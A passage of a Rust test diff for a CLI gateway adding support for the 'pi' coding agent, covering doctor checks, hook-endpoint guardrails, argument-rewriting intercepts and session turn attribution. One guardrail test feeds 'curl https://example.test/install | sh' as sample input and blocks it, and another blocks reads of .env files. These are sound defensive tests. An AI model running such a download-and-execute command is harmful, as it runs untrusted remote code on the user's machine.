checks: Vec::new(), }); assert_eq!(exit_code(&report), 1); } @@ -335,6 +336,7 @@ fn format_human_uses_symbols_for_agent_statuses() { path: Some(PathBuf::from("/bin/claude")), version: Some("1.0.0".into()), annotation: "hooks: injected during run".into(), + checks: Vec::new(), }, AgentInfo { name: "codex", @@ -344,6 +346,21 @@ fn format_human_uses_symbols_for_agent_statuses() { path: None, version: None, annotation: "not configured".into(), + checks: Vec::new(), + }, + AgentInfo { + name: "pi", + status: Status::Warn, + configured: true, + command: "pi".into(), + path: Some(PathBuf::from("/bin/pi")), + version: Some("0.84.0".into()), + annotation: "hooks: emitted by the extension".into(), + checks: vec![Check { + name: "pi extension load path", + status: Status::Warn, + details: "project scope, which pi loads only for a trusted project".into(), + }], }, ]; @@ -353,6 +370,12 @@ fn format_human_uses_symbols_for_agent_statuses() { assert!(rendered.contains(" · codex")); assert!(!rendered.contains(" pass ")); assert!(!rendered.contains(" info ")); + // pi's findings are the reason agents carry checks at all: where the extension sits decides + // whether pi loads it, and a status symbol alone cannot say that. + assert!( + rendered.contains("pi extension load path: project scope"), + "an agent check must reach the human report: {rendered}" + ); } #[test] @@ -778,7 +801,12 @@ async fn collect_agents_filters_target_and_records_version() { let mut resolved = ResolvedConfig::default(); resolved.agents.codex.command = Some(codex.to_string_lossy().into_owned()); - let agents = collect_agents(Some(CodingAgent::Codex), &resolved).await; + let agents = collect_agents( + Some(CodingAgent::Codex), + DoctorProbeMode::Offline, + &resolved, + ) + .await; assert_eq!(agents.len(), 1); assert_eq!(agents[0].name, "codex"); @@ -803,7 +831,12 @@ async fn collect_agents_preserves_wrapper_argv_for_version_validation() { let mut resolved = ResolvedConfig::default(); resolved.agents.codex.command = Some(format!("{} codex", wrapper.display())); - let agents = collect_agents(Some(CodingAgent::Codex), &resolved).await; + let agents = collect_agents( + Some(CodingAgent::Codex), + DoctorProbeMode::Offline, + &resolved, + ) + .await; assert_eq!(agents[0].status, Status::Pass); assert_eq!(agents[0].path.as_deref(), Some(wrapper.as_path())); @@ -822,12 +855,18 @@ async fn collect_agents_distinguishes_required_and_optional_version_failures() { let mut configured = ResolvedConfig::default(); configured.agents.codex.command = Some(codex.display().to_string()); - let required = collect_agents(Some(CodingAgent::Codex), &configured).await; + let required = collect_agents( + Some(CodingAgent::Codex), + DoctorProbeMode::Offline, + &configured, + ) + .await; assert_eq!(required[0].status, Status::Fail); assert!(required[0].annotation.contains("is unsupported")); let _environment = EnvScope::set(&[("PATH", Some(temp.path().as_os_str()))]); - let discovered = collect_agents(None, &ResolvedConfig::default()).await; + let discovered = + collect_agents(None, DoctorProbeMode::Offline, &ResolvedConfig::default()).await; let optional = discovered .iter() .find(|agent| agent.name == "codex") @@ -837,7 +876,12 @@ async fn collect_agents_distinguishes_required_and_optional_version_failures() { std::fs::write(&codex, "#!/bin/sh\nexit 0\n").unwrap(); make_executable(&codex); - let required = collect_agents(Some(CodingAgent::Codex), &configured).await; + let required = collect_agents( + Some(CodingAgent::Codex), + DoctorProbeMode::Offline, + &configured, + ) + .await; assert_eq!(required[0].status, Status::Fail); assert!( required[0] @@ -845,7 +889,8 @@ async fn collect_agents_distinguishes_required_and_optional_version_failures() { .contains("could not determine version") ); - let discovered = collect_agents(None, &ResolvedConfig::default()).await; + let discovered = + collect_agents(None, DoctorProbeMode::Offline, &ResolvedConfig::default()).await; let optional = discovered .iter() .find(|agent| agent.name == "codex") @@ -2353,6 +2398,7 @@ fn format_agents_human_lists_supported_and_separates_detected() { path: Some(PathBuf::from("/opt/homebrew/bin/claude")), version: Some("2.1.4".into()), annotation: "hooks: injected during run".into(), + checks: Vec::new(), }, AgentInfo { name: "codex", @@ -2362,6 +2408,7 @@ fn format_agents_human_lists_supported_and_separates_detected() { path: None, version: None, annotation: "not configured".into(), + checks: Vec::new(), }, ]; let rendered = format_agents_human(&agents); @@ -2378,15 +2425,32 @@ fn format_agents_human_lists_supported_and_separates_detected() { #[test] fn format_agents_json_matches_doctor_agents_shape() { - let agents = vec![AgentInfo { - name: "claude", - status: Status::Pass, - configured: true, - command: "claude".into(), - path: Some(PathBuf::from("/opt/homebrew/bin/claude")), - version: Some("2.1.4".into()), - annotation: "hooks: injected during run".into(), - }]; + let agents = vec![ + AgentInfo { + name: "claude", + status: Status::Pass, + configured: true, + command: "claude".into(), + path: Some(PathBuf::from("/opt/homebrew/bin/claude")), + version: Some("2.1.4".into()), + annotation: "hooks: injected during run".into(), + checks: Vec::new(), + }, + AgentInfo { + name: "pi", + status: Status::Warn, + configured: true, + command: "pi".into(), + path: Some(PathBuf::from("/opt/homebrew/bin/pi")), + version: Some("0.84.0".into()), + annotation: "hooks: emitted by the extension".into(), + checks: vec![Check { + name: "pi extension load path", + status: Status::Warn, + details: "project scope, which pi loads only for a trusted project".into(), + }], + }, + ]; let json = format_agents_json(&agents).unwrap(); let parsed: serde_json::Value = serde_json::from_str(&json).unwrap(); assert!(parsed.is_array()); @@ -2396,6 +2460,48 @@ fn format_agents_json_matches_doctor_agents_shape() { assert_eq!(parsed[0]["command"], "claude"); assert_eq!(parsed[0]["version"], "2.1.4"); assert_eq!(parsed[0]["path"], "/opt/homebrew/bin/claude"); + // An agent with no findings must not grow an empty array in the schema: the field is skipped, + // so a consumer written against the pre-pi shape stays valid. + assert!(parsed[0].get("checks").is_none()); + // pi is the one agent that reports findings of its own, so the nested shape is part of the + // published schema rather than an implementation detail. + assert_eq!( + parsed[1]["checks"], + serde_json::json!([{ + "name": "pi extension load path", + "status": "warn", + "details": "project scope, which pi loads only for a trusted project" + }]) + ); +} + +// A preflight finding is evidence, not readiness. Gating the fold on `configured` made +// `agents --json` report `pass` for a pi whose only install is project-scoped -- the exact silent +// skip the check exists to catch -- while the nested check said `warn`. The `Info` half is what +// keeps a bare `doctor` quiet on a machine with no pi extension at all. +#[test] +fn preflight_findings_fold_into_the_agent_status_whether_or_not_it_is_configured() { + let warn = [Check { + name: "pi extension load path", + status: Status::Warn, + details: "project-scoped".into(), + }]; + assert_eq!(fold_preflight_checks(Status::Pass, &warn), Status::Warn); + + let info = [Check { + name: "pi extension load path", + status: Status::Info, + details: "not located".into(), + }]; + assert_eq!(fold_preflight_checks(Status::Pass, &info), Status::Pass); + + let fail = [Check { + name: "pi extension load path", + status: Status::Fail, + details: "unreadable".into(), + }]; + assert_eq!(fold_preflight_checks(Status::Pass, &fail), Status::Fail); + assert_eq!(fold_preflight_checks(Status::Pass, &[]), Status::Pass); } #[test] diff --git a/crates/cli/tests/coverage/shared/server_tests.rs b/crates/cli/tests/coverage/shared/server_tests.rs index ff058afe0..4c6780e9e 100644 --- a/crates/cli/tests/coverage/shared/server_tests.rs +++ b/crates/cli/tests/coverage/shared/server_tests.rs @@ -19,9 +19,10 @@ use nemo_relay::api::llm::LlmRequestInterceptOutcome; use nemo_relay::api::registry::{ deregister_llm_execution_intercept, deregister_llm_request_intercept, deregister_llm_stream_execution_intercept, deregister_scope_sanitize_end_guardrail, - deregister_tool_conditional_execution_guardrail, register_llm_execution_intercept, - register_llm_request_intercept, register_llm_stream_execution_intercept, - register_scope_sanitize_end_guardrail, register_tool_conditional_execution_guardrail, + deregister_tool_conditional_execution_guardrail, deregister_tool_request_intercept, + register_llm_execution_intercept, register_llm_request_intercept, + register_llm_stream_execution_intercept, register_scope_sanitize_end_guardrail, + register_tool_conditional_execution_guardrail, register_tool_request_intercept, }; use nemo_relay::api::subscriber::{deregister_subscriber, flush_subscribers, register_subscriber}; use nemo_relay::plugin::dynamic::DynamicPluginKind; @@ -2281,6 +2282,220 @@ async fn pre_tool_hook_rejects_when_conditional_guardrail_blocks() { ); assert_eq!(body["error"]["reason"], json!("blocked by policy")); } + +// pi's extension gates a tool call on this endpoint's verdict, so the 403 shape +// is a wire contract, not an internal detail: the extension turns +// `error.reason` into pi's `{block, reason}`, which pi hands to the model +// verbatim as an error tool result. +#[tokio::test] +async fn pi_tool_call_hook_rejects_when_conditional_guardrail_blocks() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let _ = deregister_tool_conditional_execution_guardrail("cli-pi-tool-blocker"); + const BLOCKED_TEST_TOOL: &str = "read"; + register_tool_conditional_execution_guardrail( + "cli-pi-tool-blocker", + 1, + Arc::new(|name, args| { + Box::pin(async move { + let targets_secret = args + .get("path") + .and_then(Value::as_str) + .is_some_and(|path| path.ends_with(".env")); + Ok((name == BLOCKED_TEST_TOOL && targets_secret) + .then(|| "read .env is blocked; use .env.example".to_string())) + }) + }), + ) + .unwrap(); + let _cleanup = ToolGuardrailCleanup("cli-pi-tool-blocker"); + + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-guardrail-session", + "hook_event_name": "tool_call", + "tool_call_id": "call-1", + "tool_name": BLOCKED_TEST_TOOL, + "input": { "path": "/work/.env" } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!(response.status(), StatusCode::FORBIDDEN); + let bytes = response.into_body().collect().await.unwrap().to_bytes(); + let body: Value = serde_json::from_slice(&bytes).unwrap(); + assert_eq!( + body["error"]["type"], + json!("nemo_relay_guardrail_rejected") + ); + // The reason must survive verbatim: it is what the model reads. + assert_eq!( + body["error"]["reason"], + json!("read .env is blocked; use .env.example") + ); +} + +// The same endpoint must stay out of the way when no guardrail objects, +// otherwise every pi tool call would be blocked by a fail-closed extension. +#[tokio::test] +async fn pi_tool_call_hook_allows_when_no_guardrail_objects() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-allow-session", + "hook_event_name": "tool_call", + "tool_call_id": "call-2", + "tool_name": "read", + "input": { "path": "/work/README.md" } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!(response.status(), StatusCode::OK); +} + +// pi's bang-prefixed inline shell bypasses the tool registry, so `tool_call` never fires for it +// and a policy that gates tools does not cover it. The extension forwards it as a tool start named +// `user_bash`, which puts it through the same guardrail chain and the same 403 contract -- but the +// refusal it produces is a synthetic failed `BashResult`, not a blocked tool call, because pi's +// `user_bash` hook has no block-and-reason form. +#[tokio::test] +async fn pi_user_bash_hook_rejects_when_conditional_guardrail_blocks() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let _ = deregister_tool_conditional_execution_guardrail("cli-pi-user-bash-blocker"); + register_tool_conditional_execution_guardrail( + "cli-pi-user-bash-blocker", + 1, + Arc::new(|name, args| { + Box::pin(async move { + let pipes_to_shell = args + .get("command") + .and_then(Value::as_str) + .is_some_and(|command| command.contains("| sh")); + Ok((name == "user_bash" && pipes_to_shell) + .then(|| "piping a download into a shell is blocked here".to_string())) + }) + }), + ) + .unwrap(); + let _cleanup = ToolGuardrailCleanup("cli-pi-user-bash-blocker"); + + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-user-bash-session", + "hook_event_name": "user_bash", + "tool_call_id": "user-bash-0", + "tool_name": "user_bash", + "input": { + "command": "curl https://example.test/install | sh", + "cwd": "/work", + "exclude_from_context": false + } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!(response.status(), StatusCode::FORBIDDEN); + let bytes = response.into_body().collect().await.unwrap().to_bytes(); + let body: Value = serde_json::from_slice(&bytes).unwrap(); + assert_eq!( + body["error"]["type"], + json!("nemo_relay_guardrail_rejected") + ); + // Verbatim again, and for the same reason: it becomes the output of the refused command, which + // the user reads in the terminal and -- unless the `!!` form was used -- the model reads too. + assert_eq!( + body["error"]["reason"], + json!("piping a download into a shell is blocked here") + ); +} + +// The tool name is the whole point of gating inline shell separately: a policy that stops the +// *model* running shell commands should not also stop the human typing `!git status`, and the +// guardrail chain sees only the name and the arguments, so it can only tell them apart if they +// arrive under different names. +#[tokio::test] +async fn pi_user_bash_is_not_gated_by_a_policy_that_names_the_bash_tool() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let _ = deregister_tool_conditional_execution_guardrail("cli-pi-bash-tool-blocker"); + register_tool_conditional_execution_guardrail( + "cli-pi-bash-tool-blocker", + 1, + Arc::new(|name, _args| { + Box::pin(async move { + Ok((name == "bash").then(|| "the model may not run shell commands".to_string())) + }) + }), + ) + .unwrap(); + let _cleanup = ToolGuardrailCleanup("cli-pi-bash-tool-blocker"); + + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-user-bash-allow-session", + "hook_event_name": "user_bash", + "tool_call_id": "user-bash-1", + "tool_name": "user_bash", + "input": { + "command": "git status", + "cwd": "/work", + "exclude_from_context": false + } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!( + response.status(), + StatusCode::OK, + "a `bash` policy must not silently swallow the user's own inline shell; covering both \ + means naming both" + ); +} + #[tokio::test] async fn gateway_forwards_openai_json_without_rewriting_payload() { let upstream = spawn_upstream(false).await; @@ -4414,3 +4629,280 @@ async fn gateway_streaming_hit_carries_event_stream_content_type() { handle.await.unwrap().unwrap(); let _ = nemo_relay::plugin::clear_plugin_configuration(); } + +struct ToolInterceptCleanup(&'static str); + +impl Drop for ToolInterceptCleanup { + fn drop(&mut self) { + let _ = deregister_tool_request_intercept(self.0); + } +} + +// The gateway cannot apply a rewrite -- it never runs the tool -- so a request intercept is only +// useful to pi if its output travels back in the hook response. This asserts the whole path: the +// chain runs on the hook, the rewrite reaches the body, and the tool_call_id is echoed so the +// extension can tell the response belongs to the call it posted. +#[tokio::test] +async fn pi_tool_call_hook_returns_arguments_a_request_intercept_rewrote() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let _ = deregister_tool_request_intercept("cli-pi-redactor"); + register_tool_request_intercept( + "cli-pi-redactor", + 1, + // Do not break the chain: a later intercept must still get to see the rewrite. + false, + Arc::new(|_name: String, args: Value| { + Box::pin(async move { + let mut args = args; + if let Some(object) = args.as_object_mut() + && object.get("path").and_then(Value::as_str) == Some("/work/.env") + { + object.insert("path".into(), json!("/work/.env.example")); + } + Ok(args) + }) + }), + ) + .unwrap(); + let _cleanup = ToolInterceptCleanup("cli-pi-redactor"); + + let _ = deregister_tool_request_intercept("cli-pi-chain-witness"); + register_tool_request_intercept( + "cli-pi-chain-witness", + // A higher number runs later: this is the "later intercept" the flag above protects, and + // it fires only on the first rewrite's output, so a chain that stopped early shows up in + // the response body as the unrewritten path. + 2, + false, + Arc::new(|_name: String, args: Value| { + Box::pin(async move { + let mut args = args; + if let Some(object) = args.as_object_mut() + && object.get("path").and_then(Value::as_str) == Some("/work/.env.example") + { + object.insert("path".into(), json!("/work/.env.sample")); + } + Ok(args) + }) + }), + ) + .unwrap(); + let _witness_cleanup = ToolInterceptCleanup("cli-pi-chain-witness"); + + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-transform-session", + "hook_event_name": "tool_call", + "tool_call_id": "call-transform", + "tool_name": "read", + "input": { "path": "/work/.env" } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!(response.status(), StatusCode::OK); + let bytes = response.into_body().collect().await.unwrap().to_bytes(); + let body: Value = serde_json::from_slice(&bytes).unwrap(); + assert_eq!(body["tool_call"]["tool_call_id"], json!("call-transform")); + // Only reachable through both intercepts in order, so this pins that the hook response + // carries the end of the chain rather than the first rewrite. + assert_eq!( + body["tool_call"]["input"], + json!({ "path": "/work/.env.sample" }) + ); +} + +// The verdict is on the arguments pi proposed. Pinning one evaluation per call is what keeps the +// pi hook on the same order as a managed tool call, and keeps a counting or LLM-judge guardrail +// from being asked -- and billed -- twice about one call just because an intercept rewrote it. +#[tokio::test] +async fn pi_tool_call_hook_evaluates_conditional_guardrails_once_when_an_intercept_rewrites() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + // Recorded rather than asserted inside the closure: the runtime runs guardrail callbacks + // under `catch_unwind`, so a panic there becomes `FlowError::Internal` and would surface as + // a 500 -- indistinguishable from a guardrail that genuinely errored. + let seen: Arc>> = Arc::new(std::sync::Mutex::new(Vec::new())); + let recorder = Arc::clone(&seen); + + let _ = deregister_tool_conditional_execution_guardrail("cli-pi-transform-counter"); + register_tool_conditional_execution_guardrail( + "cli-pi-transform-counter", + 1, + Arc::new(move |_name, args| { + let recorder = Arc::clone(&recorder); + Box::pin(async move { + recorder.lock().unwrap().push(args); + Ok(None) + }) + }), + ) + .unwrap(); + let _guardrail_cleanup = ToolGuardrailCleanup("cli-pi-transform-counter"); + + let _ = deregister_tool_request_intercept("cli-pi-transform-counter-intercept"); + register_tool_request_intercept( + "cli-pi-transform-counter-intercept", + 1, + false, + Arc::new(|_name: String, args: Value| { + Box::pin(async move { + let mut args = args; + if let Some(object) = args.as_object_mut() { + object.insert("path".into(), json!("/work/.env")); + } + Ok(args) + }) + }), + ) + .unwrap(); + let _intercept_cleanup = ToolInterceptCleanup("cli-pi-transform-counter-intercept"); + + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-transform-counter-session", + "hook_event_name": "tool_call", + "tool_call_id": "call-counted", + "tool_name": "read", + "input": { "path": "/work/README.md" } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!(response.status(), StatusCode::OK); + let bytes = response.into_body().collect().await.unwrap().to_bytes(); + let body: Value = serde_json::from_slice(&bytes).unwrap(); + assert_eq!(body["tool_call"]["input"], json!({ "path": "/work/.env" })); + // One evaluation, and on the pre-rewrite arguments. Asserting the whole sequence catches both + // failure modes a count alone cannot: a second pass, and a single pass moved after the + // intercept, which would record `/work/.env` here and still count one. + assert_eq!( + *seen.lock().unwrap(), + vec![json!({ "path": "/work/README.md" })], + "the conditional chain must decide once, on the arguments pi proposed" + ); +} + +// The rewrite is drained by the response that carries it and never rides out on the next one. That +// is the invariant behind publishing it only after the tool start can no longer fail: the +// extension's `tool_call_id` echo reads a stale rewrite as another call's and refuses that call, so +// a leak here blocks an unrelated tool rather than merely mis-recording one. +#[tokio::test] +async fn pi_tool_call_hook_hands_a_rewrite_to_one_response_only() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let _ = deregister_tool_request_intercept("cli-pi-drain-once"); + register_tool_request_intercept( + "cli-pi-drain-once", + 1, + false, + Arc::new(|_name: String, args: Value| { + Box::pin(async move { + let mut args = args; + if let Some(object) = args.as_object_mut() + && object.get("path").and_then(Value::as_str) == Some("/work/first") + { + object.insert("path".into(), json!("/work/rewritten")); + } + Ok(args) + }) + }), + ) + .unwrap(); + let _cleanup = ToolInterceptCleanup("cli-pi-drain-once"); + + let app = router(test_config()); + let post = |call_id: &'static str, path: &'static str| { + let app = app.clone(); + async move { + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-drain-session", + "hook_event_name": "tool_call", + "tool_call_id": call_id, + "tool_name": "read", + "input": { "path": path } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + assert_eq!(response.status(), StatusCode::OK); + let bytes = response.into_body().collect().await.unwrap().to_bytes(); + serde_json::from_slice::(&bytes).unwrap() + } + }; + + let rewritten = post("call-first", "/work/first").await; + assert_eq!(rewritten["tool_call"]["tool_call_id"], json!("call-first")); + assert_eq!( + rewritten["tool_call"]["input"], + json!({ "path": "/work/rewritten" }) + ); + + // A second, unrelated call the intercept does not touch. If the first rewrite were still on + // the session it would surface here under the wrong id, and the extension would refuse it. + let untouched = post("call-second", "/work/second").await; + assert_eq!(untouched, json!({}), "a drained rewrite must not reappear"); +} + +// An unchanged call must keep returning the bare `{}` an allow has always been, or every existing +// extension would start seeing a payload it has no contract for. +#[tokio::test] +async fn pi_tool_call_hook_omits_the_transform_when_nothing_rewrote_the_arguments() { + let _guard = PLUGIN_CONFIG_TEST_LOCK.lock().await; + let app = router(test_config()); + let response = app + .oneshot( + Request::builder() + .method("POST") + .uri("/hooks/pi") + .header("content-type", "application/json") + .body(Body::from( + json!({ + "session_id": "pi-no-transform-session", + "hook_event_name": "tool_call", + "tool_call_id": "call-plain", + "tool_name": "read", + "input": { "path": "/work/README.md" } + }) + .to_string(), + )) + .unwrap(), + ) + .await + .unwrap(); + + assert_eq!(response.status(), StatusCode::OK); + let bytes = response.into_body().collect().await.unwrap().to_bytes(); + let body: Value = serde_json::from_slice(&bytes).unwrap(); + assert_eq!(body, json!({})); +} diff --git a/crates/cli/tests/coverage/shared/session_tests.rs b/crates/cli/tests/coverage/shared/session_tests.rs index 8531803f4..ebd971913 100644 --- a/crates/cli/tests/coverage/shared/session_tests.rs +++ b/crates/cli/tests/coverage/shared/session_tests.rs @@ -5446,3 +5446,396 @@ fn llm_start_with_content( metadata: json!({}), } } + +// -------------------------------------------------------------------------- +// pi turn boundaries and attempt attribution, end to end through the adapter +// -------------------------------------------------------------------------- + +/// Drive one pi hook payload through the real adapter and the session manager. +/// +/// Going through `pi::adapt` rather than hand-building `NormalizedEvent`s is the point: the +/// defects this covers -- turn scopes opening at the wrong event, and attribution accepted on the +/// wire and then discarded -- both live in the classification and metadata layers, not in the +/// session manager alone. +async fn apply_pi_hook(manager: &SessionManager, payload: Value) { + let outcome = crate::agents::shared::adapters::pi::adapt(payload, &HeaderMap::new()); + manager + .apply_events(&HeaderMap::new(), outcome.events) + .await + .unwrap(); +} + +#[tokio::test] +async fn pi_turn_scopes_open_at_pis_own_boundary_and_carry_attempt_attribution() { + let subscriber_name = "cli-pi-turn-boundary-test"; + let _ = deregister_subscriber(subscriber_name); + let captured = Arc::new(StdMutex::new( + Vec::<(String, Option, Value)>::new(), + )); + let events = captured.clone(); + register_subscriber( + subscriber_name, + Arc::new(move |event| { + let Some(metadata) = event.metadata() else { + return; + }; + if metadata.get("session_id").and_then(Value::as_str) != Some("pi-boundary-session") { + return; + } + events.lock().unwrap().push(( + event.name().to_string(), + event.scope_category(), + metadata.clone(), + )); + }), + ) + .unwrap(); + + let manager = SessionManager::new(session_test_config()); + let session = json!({ "session_id": "pi-boundary-session" }); + // One prompt, one attempt, one turn, one tool -- the shape every trace starts from. + for payload in [ + json!({ "hook_event_name": "session_start", "reason": "startup" }), + json!({ "hook_event_name": "agent_start", "attempt_index": 0 }), + json!({ + "hook_event_name": "turn_start", "turn_index": 0, "turn_seq": 0, "attempt_index": 0 + }), + json!({ + "hook_event_name": "tool_call", "tool_call_id": "call-1", "tool_name": "read", + "input": { "path": "README.md" }, "attempt_index": 0, "turn_seq": 0 + }), + json!({ + "hook_event_name": "tool_execution_end", "tool_call_id": "call-1", + "tool_name": "read", "status": "ok", "attempt_index": 0, "turn_seq": 0 + }), + json!({ + "hook_event_name": "turn_end", "turn_index": 0, "turn_seq": 0, "attempt_index": 0 + }), + // The run-level tail. These trail the last turn_end and used to open an empty turn. + json!({ "hook_event_name": "agent_end", "attempt_index": 0 }), + json!({ "hook_event_name": "agent_settled", "attempts": 1, "attempt_index": 0 }), + json!({ "hook_event_name": "session_shutdown", "reason": "quit" }), + ] { + let mut merged = session.clone(); + merged + .as_object_mut() + .unwrap() + .extend(payload.as_object().unwrap().clone()); + apply_pi_hook(&manager, merged).await; + } + + flush_subscribers().unwrap(); + let captured = captured.lock().unwrap(); + + let turn_starts = captured + .iter() + .filter(|(name, category, _)| name == "pi-turn" && *category == Some(ScopeCategory::Start)) + .collect::>(); + assert_eq!( + turn_starts.len(), + 1, + "pi reports one turn, so exactly one turn scope should exist; the run-level marks after \ + turn_end must not open another. captured: {:?}", + captured + .iter() + .map(|(name, category, _)| (name.as_str(), *category)) + .collect::>() + ); + let (_, _, turn_metadata) = turn_starts[0]; + assert_eq!(turn_metadata["turn_source"], json!("turn_start")); + // Attribution on the scope itself, not only on a mark inside it: this is what makes "which + // attempt did this turn belong to" answerable by walking the scope tree. + assert_eq!(turn_metadata["attempt_index"], json!(0)); + assert_eq!(turn_metadata["turn_seq"], json!(0)); + // The gateway still assigns its own turn index and never trusts pi's, which resets on re-entry. + assert_eq!(turn_metadata["turn_index"], json!(1)); + + let tool_start = captured + .iter() + .find(|(name, category, _)| name == "read" && *category == Some(ScopeCategory::Start)) + .expect("the tool span should exist"); + assert_eq!(tool_start.2["attempt_index"], json!(0)); + assert_eq!(tool_start.2["turn_seq"], json!(0)); + + assert_eq!( + captured + .iter() + .filter(|(name, category, _)| name == "pi-turn" + && *category == Some(ScopeCategory::End)) + .count(), + 1, + "the one turn should close exactly once" + ); + + // Every scope end names its own closer, not the hook that opened the scope. The session end + // reported `session_start` while `close_agent_scope` had no metadata channel, so bucketing + // ATOF by `hook_event_name` never yielded a session end at all. + let scope_end = |name: &str| { + captured + .iter() + .find(|(candidate, category, _)| { + candidate == name && *category == Some(ScopeCategory::End) + }) + .unwrap_or_else(|| panic!("{name} should have closed")) + .2 + .clone() + }; + assert_eq!( + scope_end("pi")["hook_event_name"], + json!("session_shutdown") + ); + assert_eq!(scope_end("pi-turn")["hook_event_name"], json!("turn_end")); + assert_eq!( + scope_end("read")["hook_event_name"], + json!("tool_execution_end") + ); + // The opening identity is untouched, so a start and its end remain distinguishable. + let session_start = captured + .iter() + .find(|(name, category, _)| name == "pi" && *category == Some(ScopeCategory::Start)) + .expect("the session scope should exist"); + assert_eq!(session_start.2["hook_event_name"], json!("session_start")); + + drop(captured); + deregister_subscriber(subscriber_name).unwrap(); +} + +// A pi hook that resolves to nothing -- an empty object, an unknown name -- still opens a +// session, under a synthetic id no later `session_shutdown` can ever match. pi's marks land on +// the session scope rather than a turn, which is what `has_explicit_turn_start` is for, and the +// idle sweeper's precondition was an open turn -- so those sessions were resident until process +// shutdown while Codex's and Claude Code's were swept. +#[tokio::test] +async fn pi_sessions_that_only_ever_held_a_mark_are_swept() { + let manager = SessionManager::new(session_test_config()); + for index in 0..3 { + apply_pi_hook( + &manager, + json!({ "session_id": format!("pi-sparse-{index}") }), + ) + .await; + } + assert_eq!(manager.inner.lock().await.len(), 3); + + let closed = manager + .close_idle_sessions_at(Instant::now(), Duration::from_secs(0), "idle_timeout") + .await + .unwrap(); + + assert_eq!(closed, 3, "every unannounced session should be swept"); + assert_eq!(manager.inner.lock().await.len(), 0); +} + +// The guard that keeps the sweep narrow. A session pi announced is a user sitting at an idle +// prompt between turns, and closing it there would split one run into two traces. +#[tokio::test] +async fn an_announced_pi_session_idling_between_turns_is_not_swept() { + let manager = SessionManager::new(session_test_config()); + let session = json!({ "session_id": "pi-announced-session" }); + for payload in [ + json!({ "hook_event_name": "session_start", "reason": "startup" }), + json!({ "hook_event_name": "turn_start", "turn_index": 0, "turn_seq": 0 }), + json!({ "hook_event_name": "turn_end", "turn_index": 0, "turn_seq": 0 }), + ] { + let mut merged = session.clone(); + merged + .as_object_mut() + .unwrap() + .extend(payload.as_object().unwrap().clone()); + apply_pi_hook(&manager, merged).await; + } + + let closed = manager + .close_idle_sessions_at(Instant::now(), Duration::from_secs(0), "idle_timeout") + .await + .unwrap(); + + assert_eq!( + closed, 0, + "an announced session between turns is not idle debris" + ); + assert_eq!(manager.inner.lock().await.len(), 1); +} + +// The re-entry case, which is why `turn_seq` exists: pi's `turn_index` restarts at 0 on every +// attempt, so two turns in one session both call themselves turn 0. +#[tokio::test] +async fn pi_re_entry_produces_two_turns_attributed_to_two_attempts() { + let subscriber_name = "cli-pi-reentry-attribution-test"; + let _ = deregister_subscriber(subscriber_name); + let captured = Arc::new(StdMutex::new(Vec::::new())); + let events = captured.clone(); + register_subscriber( + subscriber_name, + Arc::new(move |event| { + if event.name() != "pi-turn" || event.scope_category() != Some(ScopeCategory::Start) { + return; + } + let Some(metadata) = event.metadata() else { + return; + }; + if metadata.get("session_id").and_then(Value::as_str) != Some("pi-reentry-session") { + return; + } + events.lock().unwrap().push(metadata.clone()); + }), + ) + .unwrap(); + + let manager = SessionManager::new(session_test_config()); + let session = json!({ "session_id": "pi-reentry-session" }); + for payload in [ + json!({ "hook_event_name": "session_start", "reason": "startup" }), + json!({ "hook_event_name": "agent_start", "attempt_index": 0 }), + json!({ + "hook_event_name": "turn_start", "turn_index": 0, "turn_seq": 0, "attempt_index": 0 + }), + json!({ + "hook_event_name": "turn_end", "turn_index": 0, "turn_seq": 0, "attempt_index": 0 + }), + json!({ "hook_event_name": "agent_end", "attempt_index": 0 }), + // Re-entry: pi's turn_index collides at 0 while turn_seq keeps counting. + json!({ "hook_event_name": "agent_start", "attempt_index": 1 }), + json!({ + "hook_event_name": "turn_start", "turn_index": 0, "turn_seq": 1, "attempt_index": 1 + }), + json!({ + "hook_event_name": "turn_end", "turn_index": 0, "turn_seq": 1, "attempt_index": 1 + }), + json!({ "hook_event_name": "agent_end", "attempt_index": 1 }), + json!({ "hook_event_name": "agent_settled", "attempts": 2, "attempt_index": 1 }), + json!({ "hook_event_name": "session_shutdown", "reason": "quit" }), + ] { + let mut merged = session.clone(); + merged + .as_object_mut() + .unwrap() + .extend(payload.as_object().unwrap().clone()); + apply_pi_hook(&manager, merged).await; + } + + flush_subscribers().unwrap(); + let captured = captured.lock().unwrap(); + assert_eq!( + captured.len(), + 2, + "one turn scope per pi turn: {captured:?}" + ); + assert_eq!( + captured + .iter() + .map(|metadata| ( + metadata["attempt_index"].clone(), + 